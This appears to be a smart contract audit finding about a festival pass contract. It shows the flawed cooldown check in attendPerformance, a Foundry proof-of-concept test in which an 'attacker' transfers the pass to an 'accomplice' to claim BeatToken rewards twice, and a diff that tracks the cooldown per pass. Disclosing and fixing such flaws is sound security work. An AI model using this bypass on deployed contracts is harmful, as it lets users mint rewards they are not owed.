function attendPerformance(uint256 performanceId) external {
    require(isPerformanceActive(performanceId), "Performance is not active");
    require(hasPass(msg.sender), "Must own a pass");
    require(!hasAttended[performanceId][msg.sender], "Already attended this performance");
@>  require(block.timestamp >= lastCheckIn[msg.sender] + COOLDOWN, "Cooldown period not met");
    
    hasAttended[performanceId][msg.sender] = true;
@>  lastCheckIn[msg.sender] = block.timestamp;
    
    uint256 multiplier = getMultiplier(msg.sender);
    BeatToken(beatToken).mint(msg.sender, performances[performanceId].baseReward * multiplier);
}
pragma solidity 0.8.25;
import {Test, console} from "forge-std/Test.sol";
import {FestivalPass} from "../src/FestivalPass.sol";
import {BeatToken} from "../src/BeatToken.sol";
contract CooldownBypassTest is Test {
    FestivalPass public festivalPass;
    BeatToken public beatToken;
    address public owner;
    address public organizer;
    address public attacker;
    address public accomplice;
    uint256 constant GENERAL_PRICE = 0.05 ether;
    function setUp() public {
        owner = address(this);
        organizer = makeAddr("organizer");
        attacker = makeAddr("attacker");
        accomplice = makeAddr("accomplice");
        
        beatToken = new BeatToken();
        festivalPass = new FestivalPass(address(beatToken), organizer);
        beatToken.setFestivalContract(address(festivalPass));
        
        vm.prank(organizer);
        festivalPass.configurePass(1, GENERAL_PRICE, 100);
        
        vm.deal(attacker, 10 ether);
        vm.deal(accomplice, 10 ether);
    }
    function test_CooldownBypassWithTransfer() public {
        
        vm.prank(attacker);
        festivalPass.buyPass{value: GENERAL_PRICE}(1);
        
        vm.startPrank(organizer);
        uint256 perf1 = festivalPass.createPerformance(block.timestamp + 1 hours, 4 hours, 100e18);
        uint256 perf2 = festivalPass.createPerformance(block.timestamp + 1 hours, 4 hours, 100e18);
        vm.stopPrank();
        
        vm.warp(block.timestamp + 90 minutes);
        vm.prank(attacker);
        festivalPass.attendPerformance(perf1);
        
        vm.prank(attacker);
        festivalPass.safeTransferFrom(attacker, accomplice, 1, 1, "");
        
        vm.prank(accomplice);
        festivalPass.attendPerformance(perf2);
        assertEq(beatToken.balanceOf(accomplice), 100e18);
    }
}
+ mapping(uint256 => uint256) public passLastCheckIn; // passId => last check-in time
function attendPerformance(uint256 performanceId) external {
    require(isPerformanceActive(performanceId), "Performance is not active");
    require(hasPass(msg.sender), "Must own a pass");
    require(!hasAttended[performanceId][msg.sender], "Already attended this performance");
-   require(block.timestamp >= lastCheckIn[msg.sender] + COOLDOWN, "Cooldown period not met");
+   uint256 userPassId = getUserPassId(msg.sender); // Helper function to get user's pass ID
+   require(block.timestamp >= passLastCheckIn[userPassId] + COOLDOWN, "Cooldown period not met");
    
    hasAttended[performanceId][msg.sender] = true;
-   lastCheckIn[msg.sender] = block.timestamp;
+   passLastCheckIn[userPassId] = block.timestamp;
    
    uint256 multiplier = getMultiplier(msg.sender);
    BeatToken(beatToken).mint(msg.sender, performances[performanceId].baseReward * multiplier);
}